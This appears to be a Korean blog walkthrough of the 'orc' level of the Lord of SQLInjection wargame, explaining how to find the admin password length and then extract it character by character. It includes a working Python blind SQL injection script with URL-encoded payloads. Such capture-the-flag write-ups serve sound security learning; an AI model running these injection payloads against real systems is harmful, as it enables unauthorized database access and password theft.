반응형
https://los.rubiya.kr/gate.php
[문제]
[풀이]
필터링 되는 문자는 따로 없고
pw를 입력받아서 쿼리 결과가 있다면 Hello admin을 띄운다.
이후 addslashes함수를 이용하여 입력받은 pw를 addslashes 시키고
똑같은 쿼리를 실행시켜 결과 pw와 addslashes된 입력한 pw가 같을 시 문제가 풀린다.
이 문제는 패스워드를 직접 알아내서 푸는 문제같다.
먼저 length를 사용하여 pw 길이를 알아낸다.
pw 길이가 8이라는 것을 알았고
ascii(substring(pw,1,1))=31 -- 을 이용해서 한 문자씩 ascii 코드로 비교해가며 패스워드를 알아낸다.
손으로 하면 시간이 오래 걸리기 때문에 python으로 코드를 작성해준다.
import requests
url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
cookie = {
'PHPSESSID': '세션 쿠키'
}
pw = ''
for i in range(1, 9):
for j in range(33, 128):
print(i, j)
res = requests.get(url+f'?pw=%27%20or%20id=%27admin%27%20and%20ascii(substring(pw,{i},1))={j}%20--%20', cookies=cookie)
if('Hello admin' in res.text):
pw+=chr(j)
print(pw)
break
print('pw: ' + pw)
위 코드는
1자리부터 8자리까지 쭉 반복하고
ascii 코드를 1씩 증가시키며 비교하는 코드이다.
코드를 실행하면
pw를 알아낼 수 있다.
pw를 입력하면 문제가 풀린다.
반응형